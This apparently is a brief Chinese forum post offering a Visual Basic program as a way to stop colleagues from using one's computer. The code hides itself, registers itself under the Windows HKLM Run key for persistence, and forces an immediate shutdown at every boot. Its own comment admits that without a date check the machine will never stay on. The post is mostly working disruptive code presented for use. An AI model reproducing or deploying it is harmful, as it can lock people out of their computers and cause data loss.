[VB] 还怕同事偷用你电脑吗？——让他结束吧！！！[VB] 还怕同事偷用你电脑吗？——让他结束吧！！！

Private Sub Form_Load(wsh As Object)
          visible = FALSE
          Set wsh = CreateObject("WScript.Shell")
          wsh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, Replace(App.Path & "\", "\\", "\") & App.EXEName & ".exe", "REG_SZ"
          Shell "cmd.exe /c shutdown -s -t 0"      '警告：将此处加上if来判断时间（日期）来限制一段时间内开不开机，以达到自己不在时不让别               人用电脑，否则将永远开不开机！！！
End Sub
原理：开机后自动关机